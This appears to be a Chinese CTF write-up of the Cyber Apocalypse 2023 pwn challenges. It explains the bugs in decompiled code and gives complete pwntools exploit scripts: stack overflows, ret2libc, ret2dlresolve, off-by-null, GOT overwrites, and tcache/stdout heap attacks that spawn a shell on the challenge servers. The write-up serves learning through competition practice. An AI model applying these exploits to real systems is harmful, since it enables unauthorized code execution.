[Cyber Apocalypse 2023: Pwn]

1-3题略

4 Labyrinth

在输入69或者069的时候会有个gets溢出,然后有个后门函数escape_plan输出flag

  fgets(s, 5, stdin);
  if ( !strncmp(s, "69", 2uLL) || !strncmp(s, "069", 3uLL) )
  {
    fwrite(
      "\n"
      "You are heading to open the door but you suddenly see something on the wall:\n"
      "\n"
      "\"Fly like a bird and be free!\"\n"
      "\n"
      "Would you like to change the door you chose?\n"
      "\n"
      ">> ",
      1uLL,
      0xA0uLL,
      _bss_start);
    fgets(v4, 0x44, stdin);
  }
from pwn import *


#p = process('./labyrinth')
p = remote('142.93.38.14', 30517)
context(arch='amd64', log_level='debug')

p.sendlineafter(b'>>', b'069')
p.sendafter(b'\n>> ', b'\x00'*0x30+p64(0x404800)+p64(0x4012b0)+b'\x00'*4)

for i in range(20):
    print(p.recvline())
    
p.interactive()

5 Pandora's Box

跟上题相似,选2时有个fgets溢出,但没有后门,先puts(got.puts)再system(bin/sh)

  num = read_num(
          "This is one of Pandora's mythical boxes!\n"
          "\n"
          "Will you open it or Return it to the Library for analysis?\n"
          "\n"
          "1. Open.\n"
          "2. Return.\n"
          "\n"
          ">> ",
          1LL,
          v0,
          v1);
  if ( num != 2 )
  {
    fprintf(_bss_start, "%s\nWHAT HAVE YOU DONE?! WE ARE DOOMED!\n\n", "\x1B[1;31m");
    exit(1312);
  }
  fwrite("\nInsert location of the library: ", 1uLL, 0x21uLL, _bss_start);
  fgets(s, 256, stdin);
  return fwrite(
           "\nWe will deliver the mythical box to the Library for analysis, thank you!\n\n",
           1uLL,
           0x4BuLL,
           _bss_start);
}
from pwn import *


#p = process('./pb')
p = remote('139.59.173.68', 31508)
context(arch='amd64', log_level='debug')

elf = ELF('./pb')
libc = ELF('./glibc/libc.so.6')
pop_rdi = 0x000000000040142b # pop rdi ; ret

p.sendlineafter(b'>>', b'2')
p.sendlineafter(b"\nInsert location of the library: ", b'\x00'*0x30+flat(0x404800, pop_rdi, elf.got['puts'], elf.plt['puts'], elf.sym['box']))
p.recvuntil(b"thank you!\n\n")
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['puts']

print(hex(libc.address))
p.sendlineafter(b'>>', b'2')
p.sendlineafter(b"\nInsert location of the library: ", b'\x00'*0x38+flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system']))

p.interactive()

6 Void

前5题白送的,从6题开始就比较麻烦了.

这个题目比较简单

ssize_t vuln()
{
  char buf[64]; // [rsp+0h] [rbp-40h] BYREF

  return read(0, buf, 0xC8uLL);
}

有个栈溢出,但由于没有puts函数,也就得不到输出,记得强网杯有一题no_output跟这个类似.是用伪造got表的方式实现,虽然伪造got表打比较麻烦但pwntools有现成的工具Ret2dlresolvePayload,可以直接使用工具

from pwn import *

#p = process('./void')
p = remote('206.189.112.129', 32140)
context(arch='amd64', log_level='debug')

#gdb.attach(p, 'b*0x401140')
elf = ELF('./void')
libc = ELF('./glibc/libc.so.6')

rop = ROP('./void')
dl = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dl.data_addr)
rop.ret2dlresolve(dl)
rop_content = rop.chain()
payload = b'E'*0x40 + p64(0) + rop_content
payload = payload.ljust(0xc8, b'\x00')
payload += dl.payload
p.send(payload)
p.interactive()

7 Kana

这题一开始没弄明白,c++写的东西,反编译后很长很乱,后来看了个wp,原来漏洞在menu里,这种情况不多见啊.

看上去是个堆题但只有4有用,会把名字重写一下

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  int v3; // ebx
  char v4[80]; // [rsp+10h] [rbp-B0h] BYREF
  char v5[96]; // [rsp+60h] [rbp-60h] BYREF

  sub_270A((__int64)v4);
  init_3();
  while ( 1 )
  {
    sub_6E56((__int64)v5, (__int64)v4);
    v3 = menu((__int64)v5);                     // 写溢出
    sub_6DFC((__int64)v5);
    switch ( v3 )
    {
      case 1:
        kata((__int64)v4);
        break;
      case 2:
        hira(v4);
        break;
      case 3:
        alpha(v4);
        break;
      case 4:
        new_kana(v4);
        break;
      case 5:
        exit(0);
      default:
        continue;
    }
  }
}

菜单4,重写名字

__int64 __fastcall sub_46FA(__int64 a1)
{
  std::operator<<<std::char_traits<char>>(&std::cout, &unk_8124);
  return std::operator>><char>(&std::cin, a1 + 48);
}

漏洞,在menu,输入选项时有溢出,溢出到计数器时会发生跳跃

int __fastcall sub_7642(__int64 a1)
{
  __int64 v1; // rax
  __int64 v2; // rbx
  __int64 v3; // rax
  __int64 v4; // rax
  __int64 v5; // rax
  __int64 v6; // rax
  __int64 v7; // rax
  __int64 v8; // rax
  __int64 s[6]; // [rsp+10h] [rbp-70h] BYREF
  char v11[44]; // [rsp+40h] [rbp-40h] BYREF
  int v12; // [rsp+6Ch] [rbp-14h]

  memset(s, 0, sizeof(s));
  v12 = 0;
  v1 = std::operator<<<std::char_traits<char>>(&std::cout, "------------------------------------------");
  std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  v2 = std::operator<<<std::char_traits<char>>(&std::cout, &unk_819B);
  sub_476E((__int64)v11, a1);
  v3 = std::operator<<<char>(v2, v11);
  std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
  std::string::~string(v11);
  v4 = std::operator<<<std::char_traits<char>>(&std::cout, " 1 - kata-fy");
  std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
  v5 = std::operator<<<std::char_traits<char>>(&std::cout, " 2 - hira-fy");
  std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
  v6 = std::operator<<<std::char_traits<char>>(&std::cout, " 3 - alpha-fy");
  std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
  v7 = std::operator<<<std::char_traits<char>>(&std::cout, " 4 - new kana");
  std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
  v8 = std::operator<<<std::char_traits<char>>(&std::cout, " 5 - exit");
  std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
  std::operator<<<std::char_traits<char>>(&std::cout, ">> ");
  memset(s, 0, sizeof(s));
  while ( 1 )
  {
    read(0, (char *)s + v12, 1uLL);
    if ( *((_BYTE *)s + v12) == 10 )
      break;
    ++v12;
  }
  *((_BYTE *)s + v12) = 0;                      // off_by_null
  return atoi((const char *)s);
}

gdb跟进看下栈情况,向s读入时,当读入到0x5c后会把读入值写到计数器v12上,在这输入数据会发生跳跃,由于这个跳跃,在输入数据里并不是影响到栈内其它位置,所以还可以正常运行.

s的偏移是0x10,在偏移0xd0处是指向name的指针,每次菜单都会输出这个指针指向的name串,所以可以通过这个指针得到堆地址再根据堆地址找到栈地址和libc,

由于输入后会在最后置个0,这样就可以将原指针xx2d50改为xx2d00恰指向一个释放过的堆块,这里存的fd是一个堆里的地址.通过这个地址可以读到堆地址.

gef➤  tel 30
0x00007fff866ad1e0│+0x0000: 0x0000000000000021 ("!"?)    ← $rsp
0x00007fff866ad1e8│+0x0008: 0x00007fff866ad2d0  →  0x0000000000000000
0x00007fff866ad1f0│+0x0010: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"    ← $rcx
...
0x00007fff866ad2b0│+0x00d0: 0x000055e8026f2d00  →  0x000055ed00000001   <---- ptr:2d50->2d00 leak
0x00007fff866ad2b8│+0x00d8: 0x0000000000000020
...
0x00007fff866ad338│+0x00c8: 0x00007f5f1f04618a  →  <__libc_start_call_main+122> mov edi, eax

Chunk(addr=0x55e8026f2d00, size=0x50, flags=PREV_INUSE)
    [0x000055e8026f2d00     00 00 00 00 ed 55 00 00 50 37 6f 02 e8 55 00 00    .....U..P7o..U..]
Chunk(addr=0x55e8026f2d50, size=0x50, flags=PREV_INUSE)
    [0x000055e8026f2d50     62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62    bbbbbbbbbbbbbbbb]
Chunk(addr=0x55e8026f1360, size=0x50, flags=PREV_INUSE)
    [0x000055e8026f1360     01 00 00 00 00 00 00 00 88 d2 6a 86 ff 7f 00 00    ..........j.....]

第二步在已经得到堆地址后,将name指针覆盖为-0x23f0,由于c++的程序,大多数数据都存在堆里,这里有个程序存的栈地址

第三步根据栈地址和偏移找到__libc_start_main_ret 得到libc地址,

最后在输入5c后跳到ret位置输入system(bin/sh)

from pwn import *

p = process('./kana')
#p =remote('165.232.98.59', 30915)
context(arch='amd64', log_level='debug')

#libc = ELF('/home/kali/glibc/2.35-0ubuntu3-amd64/libc.so.6')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') #2.31
elf = ELF('./kana')

def m4setname():
    p.sendlineafter(b'>> ', b'4')
    p.sendlineafter(b'>> ', b'b'*0x20)

gdb.attach(p)

m4setname()

#heap
pay = b'A'*0x5c + b'\xaf' + b'c'*0x10 #overleap ptr->name
p.sendlineafter(b'>> ', pay)
p.recvuntil(b': ')
heap_addr = u64(p.recv(0x10)[8:])
print(f'{heap_addr = :x}')

pay = b'A'*0x5c + b'\xaf' + b'c'*0x10 + p64(heap_addr -0x23f0)+ p32(0x20)
p.sendlineafter(b'>> ', pay)
p.recvuntil(b': ')
stack_addr = u64(p.recv(0x10)[8:])
print(f'{stack_addr = :x}')

pay = b'A'*0x5c + b'\xaf' + b'c'*0x10 + p64(stack_addr + 0xb0)+ p32(0x20)
p.sendlineafter(b'>> ', pay)
p.recvuntil(b': ')
libc.address = u64(p.recv(0x10)[:8]) -0x2718a #- 122 - libc.sym['__libc_start_call_main']
print(f'{libc.address = :x}')

pop_rdi = next(libc.search(asm('pop rdi;ret')))
bin_sh  = next(libc.search(b'/bin/sh\0'))

pay = b'A'*0x5c + b'\x77' + flat(pop_rdi+1, pop_rdi, bin_sh, libc.sym['system'])
p.sendlineafter(b'>> ', pay)


p.interactive()

8 cantrol_room

菜单逻辑,它有两类菜单,1-3要求权限位为1,4-5要求为0,默认值为2

第一个漏洞在user_edit,当输入名字后按n重新输入出memset(s,0,n+1)会多写1位0,当长度为0x100时最后的0会覆盖到权限位,使权限为0

void user_edit()
{
  int n; // [rsp+4h] [rbp-Ch]
  void *s; // [rsp+8h] [rbp-8h]

  puts("<===[ Edit Username ]===>\n");
  printf("New username size: ");
  n = read_num();
  getchar();
  if ( *((_QWORD *)curr_user + 33) >= (unsigned __int64)n )
  {
    s = malloc(n + 1);
    if ( !s )
    {
      log_message(3u, "Please replace the memory catridge.");
      exit(-1);
    }
    memset(s, 0, n + 1);
    printf("\nEnter your new username: ");
    fgets((char *)s, n, stdin);
    *((_BYTE *)s + strcspn((const char *)s, "\n")) = 0;
    strncpy(curr_user, (const char *)s, n + 1); 
    log_message(0, "User updated successfully!\n");
    free(s);
  }
  else
  {
    log_message(3u, "Can't be larger than the current username.\n");
  }
}

第二个漏洞在菜单1,改配置, 偏移num是有符号数未限制下限,造成前越界,并且got表可写.

unsigned __int64 configure_engine()
{
  _QWORD *v0; // rcx
  __int64 v1; // rdx
  int num; // [rsp+Ch] [rbp-24h]
  __int64 v4; // [rsp+10h] [rbp-20h] BYREF
  __int64 v5; // [rsp+18h] [rbp-18h] BYREF
  char s[2]; // [rsp+25h] [rbp-Bh] BYREF
  char v7; // [rsp+27h] [rbp-9h]
  unsigned __int64 v8; // [rsp+28h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  *(_WORD *)s = 0;
  v7 = 0;
  if ( *((_DWORD *)curr_user + 64) == 1 )
  {
    printf("\nEngine number [0-%d]: ", 3LL);
    num = read_num();
    if ( num <= 3 )                             // 输入无限制,可前越界
    {
      printf("Engine [%d]: \n", (unsigned int)num);
      printf("\tThrust: ");
      __isoc99_scanf("%ld", &v4);
      printf("\tMixture ratio: ");
      __isoc99_scanf("%ld", &v5);
    }
    getchar();
    printf("\nDo you want to save the configuration? (y/n) ");
    printf("\n> ");
    fgets(s, 3, stdin);
    s[strcspn(s, "\n")] = 0;
    if ( !strcmp(s, "y") )
    {
      v0 = (_QWORD *)((char *)&engines + 16 * num);
      v1 = v5;
      *v0 = v4;
      v0[1] = v1;
      log_message(0, "Engine configuration updated successfully!\n");
    }
    else
    {
      log_message(1u, "Engine configuration cancelled.\n");
    }
  }
  else
  {
    log_message(3u, "Only technicians are allowed to configure the engines");
  }
  return __readfsqword(0x28u) ^ v8;
}

思路:

向前越界修改got表exit为 user_edit实现循环,改free为printf,制造格式化字符串漏洞泄漏地址,得到libc地址后将free改为system

from pwn import *

binary = './control_room'
#p = process(binary)
p = remote('104.248.169.117', 32164)
context(arch='amd64', log_level='debug', timeout=50)

elf = ELF(binary)
libc = ELF('/home/kali/glibc/2.35-0ubuntu3-amd64/libc.so.6')

def edit_user(msg):
    p.sendlineafter(b"New username size: ", str(0x100).encode())
    p.sendlineafter(b"\nEnter your new username: ", msg)

menu = b'Option [1-5]: '
def m1cfg(idx,v1,v2):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"\nEngine number [0-3]: ", str(idx).encode())
    p.sendlineafter(b"Thrust: ", str(v1).encode())
    p.sendlineafter(b"Mixture ratio: ", str(v2).encode())
    p.sendlineafter(b'> ', b'y')

def m5role():
    p.sendlineafter(menu, b'5')
    p.sendlineafter(b"New role: ", b'1')

def go_main():
    p.sendlineafter(menu, b'8')


#user register
p.sendafter(b'Enter a username: ', b'A'*0x100)
p.sendlineafter(b'>', b'n')
edit_user(b'A'*0x10)  #set user+0x100 = 0

m5role()
m1cfg(-7, elf.sym['user_edit'],0)    #exit->user_edit
m1cfg(-17, 0,elf.plt['printf']-4)    #free->printf
go_main()

#gdb.attach(p, 'b*0x401a32')

edit_user(b'START%39$pEND')  #6+39
'''
gdb-peda$ stack 40
0000| 0x7ffdd9c86230 --> 0x100d9c86240
0264| 0x7ffdd9c86338 --> 0x7f5298a29e40 (<__libc_start_main+128>:       mov    r15,QWORD PTR [rip+0x1ef159]        # 0x7f5298c18fa0)
'''
p.recvuntil(b'START')
libc.address = int(p.recvuntil(b'END', drop=True), 16) - 128 - libc.sym['__libc_start_main']

m5role()
m1cfg(-17, 0,libc.sym['system'])    #free->system
go_main()

edit_user(b'/bin/sh\x00')  
p.sendline(b'cat flag.txt')

p.interactive()

9 math door

堆题有3个菜单,add,free和edit,堆块大小固定为0x20,edit可以给当前位置按64位数加

漏洞在free的时候没清指指,有UAF

看似简单的一道题当时没完成,后来看了WP感觉比我想的还麻烦,再试了一下发现当时是tcache.counts溢出报错造成的.

在libc-2.31以后,当从tcache里malloc时,如果counts为0则会报错,分配不到块,低版本不检查,所以在作tcache attack时需要平衡计数.(也很简单,就是提前多释放1块)

思路:

很建一堆块(足够0x440),通过UAF修改指针形成重叠,修改头增加0x420再free到unsort,然后同样通过tcache attack将main_arena修改到_IO_2_1_stdout_修改头和wrtie_end得到libc,然后再改__free_hook ...

from pwn import *


p = process('./math-door')
#p = remote('159.65.94.38', 31488)
context(arch='amd64', log_level='error')

#gdb.attach(p, 'b*0x401140')
elf = ELF('./math-door')
libc = ELF('./libc.so.6')

menu = b'Action: \n'
mask = (1<<64)-1
def add():
    p.sendlineafter(menu, b'1')

def free(idx):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b'Hieroglyph index:', str(idx).encode())

def edit(idx, pay):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b'Hieroglyph index:', str(idx).encode())
    p.sendafter(b'Value to add to hieroglyph:', pay)

#0x441
for i in range(40):
    add()

free(0)
free(10)
edit(10, flat(0x10,0,0)) # 10->#0+0x10
add() #40
add() #41 -- 0 41 1
edit(41, flat(0,0x21,0))
free(11)
free(1)
edit(41, flat(0, 0x420,0))
free(1)

edit(1, flat(0xac0,0,0))  # tcache:1->_IO_2_1_stdout
add()
add() #43 stdout

edit(43, flat(0x452ef79))  #_IO_2_1_stdout_._flags_:0xfbad2887 -> 0x00001800
menu = menu[:-1]
edit(1, flat(0x28,0,0))  # tcache:1->_IO_2_1_stdout+0x20

free(12)
free(13)
free(14)
edit(14, flat(-0x180&mask)) #14->1->_IO_2_1_stdout+0x20   0x00007fb6e0224723->0x00007fb6e0224700

add()
add()
add() #46
edit(46, flat(5+8,0,0))

'''
0x7efc191516a0 <_IO_2_1_stdout_>:       0x0000000100001800      0x00007efc19151723
0x7efc191516b0 <_IO_2_1_stdout_+16>:    0x00007efc19151723      0x00007efc19151723
0x7efc191516c0 <_IO_2_1_stdout_+32>:    0x00007efc19151723      0x00007efc19151724  24->54 write 0x7efc19151723->0x7efc19151730
0x7efc191516d0 <_IO_2_1_stdout_+48>:    0x00007efc19151724      0x00007efc19151723
0x7efc191516e0 <_IO_2_1_stdout_+64>:    0x00007efc19151724      0x0000000000000000
0x7efc191516f0 <_IO_2_1_stdout_+80>:    0x0000000000000000      0x0000000000000000
0x7efc19151700 <_IO_2_1_stdout_+96>:    0x0000000000000000      0x00007efc19150980
0x7efc19151710 <_IO_2_1_stdout_+112>:   0x0000000000000001      0xffffffffffffffff
0x7efc19151720 <_IO_2_1_stdout_+128>:   0x000000000a000000      0x00007efc191527e0
0x7efc19151730 <_IO_2_1_stdout_+144>:   0xffffffffffffffff      0x0000000000000000
'''
p.recv(5) #00000000  0a 00 00 00  00 e0 87 76  38 4c 7f 00  00 
libc.address = u64(p.recv(8)) - 0x1ee7e0  #_IO_stdfile_1_lock
print(f'{libc.address = :x}')

free(15)
free(16)
free(17)  #17->16->15
edit(17, flat(-0x1e0&mask,0,0)) #17->1->stdout+0x28
edit(1, flat(0x1780,0,0)) #17->1->__free_hook

add()
add()
add() #49
edit(49, flat(libc.sym['system']))
edit(0, b'/bin/sh\x00')

free(0)
p.interactive()

注:_IO_2_1_stdout_+0x20处两个指针write.start,write.end为xx23和xx24也就是输出xx23到xx24的\x0a就是个回车,把end加大会输出后边的一个libc地址

WP上是先控制tcache.counts将a0的块计数改为7再重叠块将一个头改为0xa1释放到unsort,如果块有限制的话就得用这个方法,不过这个题给的数量足够大,可以省点事.

10 runic

这题没弄出来,后来看WP,复现

1,这个libc是非标的,禁用了__free_hook

2,估计版本不小于2.32,堆地址有异或加密

3,一般来说strcpy会在最后带一个0造成溢出,但这个strcpy没有带0

漏洞点在edit

unsigned __int64 edit()
{
  int v0; // eax
  const void *v1; // rbx
  int v2; // eax
  int v3; // eax
  int v4; // eax
  char *dest; // [rsp+0h] [rbp-30h]
  __int64 buf; // [rsp+8h] [rbp-28h] BYREF
  char src[8]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v9; // [rsp+18h] [rbp-18h]

  v9 = __readfsqword(0x28u);
  buf = 0LL;
  *(_QWORD *)src = 0LL;
  puts("Rune name: ");
  read(0, &buf, 8uLL);
  dest = *(char **)(MainTable[(unsigned int)hash((__int64)&buf)] + 8LL);// MainTable[]->item[idx,ptr,size]
  if ( dest )
  {
    puts("New name: ");
    read(0, src, 8uLL);
    if ( *(_QWORD *)(MainTable[(unsigned int)hash((__int64)src)] + 8LL) )
    {
      puts("That rune name is already in use!");
    }
    else
    {
      v0 = hash((__int64)src);
      strcpy((char *)MainTable[v0], src);
      v1 = (const void *)(MainTable[(unsigned int)hash((__int64)&buf)] + 8LL);
      v2 = hash((__int64)src);
      memcpy((void *)(MainTable[v2] + 8LL), v1, 0xCuLL);
      strcpy(dest, src);                        // 复制旧块name到新块,当str中含0如b'a\0b'时会被截断只复制'a'
      v3 = hash((__int64)&buf);
      memset((void *)MainTable[v3], 0, 0x14uLL);
      puts("Rune contents: ");
      v4 = hash((__int64)dest);
      read(0, dest + 8, *(unsigned int *)(MainTable[v4] + 16LL));// 复制旧块指针,覆盖data
    }
  }
  else
  {
    puts("There's no rune with that name!");
  }
  return __readfsqword(0x28u) ^ v9;
}

其实漏洞还是在strcpy上,题目建块的id是用hash函数生成的,这个函数将8字节各位数字相加再取后6位作为id,但是在edit里strcpy复制后作为写入长度的id,但是strcpy会因为遇0截断,造成成此id不是彼id,

漏洞利用,先弄个大块id是0再edit时输入b'\x00'+原串这样strcpy后为\0也就会使用0块的长度来读入,形成溢出.

思路:

先弄一大堆(最大0x70的块能直接释放到至少10个块),edit造写溢出改size为0x461释放到unsort

然后把main_arena挤到一个块上show出libc,由于堆有加密还需要堆地址方法相同

没有__free_hook是个大麻烦,从WP上看到打got表,strlen改system,这个原来没弄过,重点记下

p.readrepeat(1)这句没用过,不用还不行,但必需用

from pwn import *

binary = './runic'

p = process(binary)
#p = remote('159.65.81.51', 31393)
context(arch='amd64', log_level='debug')

elf = ELF(binary)
libc = ELF('./libc.so.6')

menu = b'Action: \n'
def add(idx, size, msg):
    p.sendlineafter(menu, b'1')
    p.sendafter(b"Rune name: \n", p64(idx))
    p.sendlineafter(b"Rune length: \n", str(size).encode())
    p.sendafter(b"Rune contents: \n", msg)

def free(idx):
    p.sendlineafter(menu, b'2')
    p.sendafter(b"Rune name: \n", p64(idx))

def edit(idx1, idx2, msg):
    p.sendlineafter(menu, b'3')
    p.sendafter(b"Rune name: \n", p64(idx1))
    p.sendafter(b"New name: \n", p64(idx2))
    p.sendafter(b"Rune contents: \n", msg)

def show(idx):    
    p.sendlineafter(menu, b'4')
    p.sendafter(b"Rune name: \n", p64(idx))

def get_heap_addr(addr):
    v1 = addr>>36
    v2 = (addr>>24)&0xfff
    v3 = (addr>>12)&0xfff
    v4 = addr&0xfff
    v2 ^= v1
    v3 ^= v2
    v4 ^= v3
    return (v1<<36) + (v2<<24) + (v3<<12) + v4

#MainTable[]->item[idx,ptr,size]
add(0, 0x30, flat(0,0,0))
add(11, 0x10, b'A')
for i in range(11):
    add(i+12, 0x60, b'A')

#获取libc
edit(11, 1<<8, flat(0,0,0x461))  #11->0
free(12)
add(12, 0x60, b'A')
show(13)
p.recvuntil(b"Rune contents:\n\n")
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x60 - libc.sym['main_arena']
print(f"{libc.address = :x}")

#获取堆地址(fd加密)
free(16)
free(14)
free(15)
add(14, 0x50,b'A')
add(16, 0x50,b'A'*8)
show(16)
p.recvuntil(b'Rune contents:\n\n'+b'A'*8)
heap_xored = u64(p.recvline()[:-1].ljust(8, b'\x00'))
heap_addr = get_heap_addr(heap_xored) -0xe0
print(f"{heap_addr = :x}")

#写libc. GOT表
free(16)
add(16, 0x50,flat(0x71, (heap_addr>>12)^(libc.address + 0x1f2098 - 0x18))) #<*ABS*@got.plt>

add(u64(b'a'*8), 0x60, b'/bin/sh\x00')
add(24, 0x60, b'/bin/sh\x00')
#wmemcmp,dl_find_dso_for_object,strncpy,strlen->system
add(25, 0x60, flat(libc.address + 0x2c0f0, libc.address+0x17a780, libc.sym['system']))

#show
p.sendline(b'4')
p.readrepeat(1)  # importent 
p.sendline(b'a'*8)

p.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值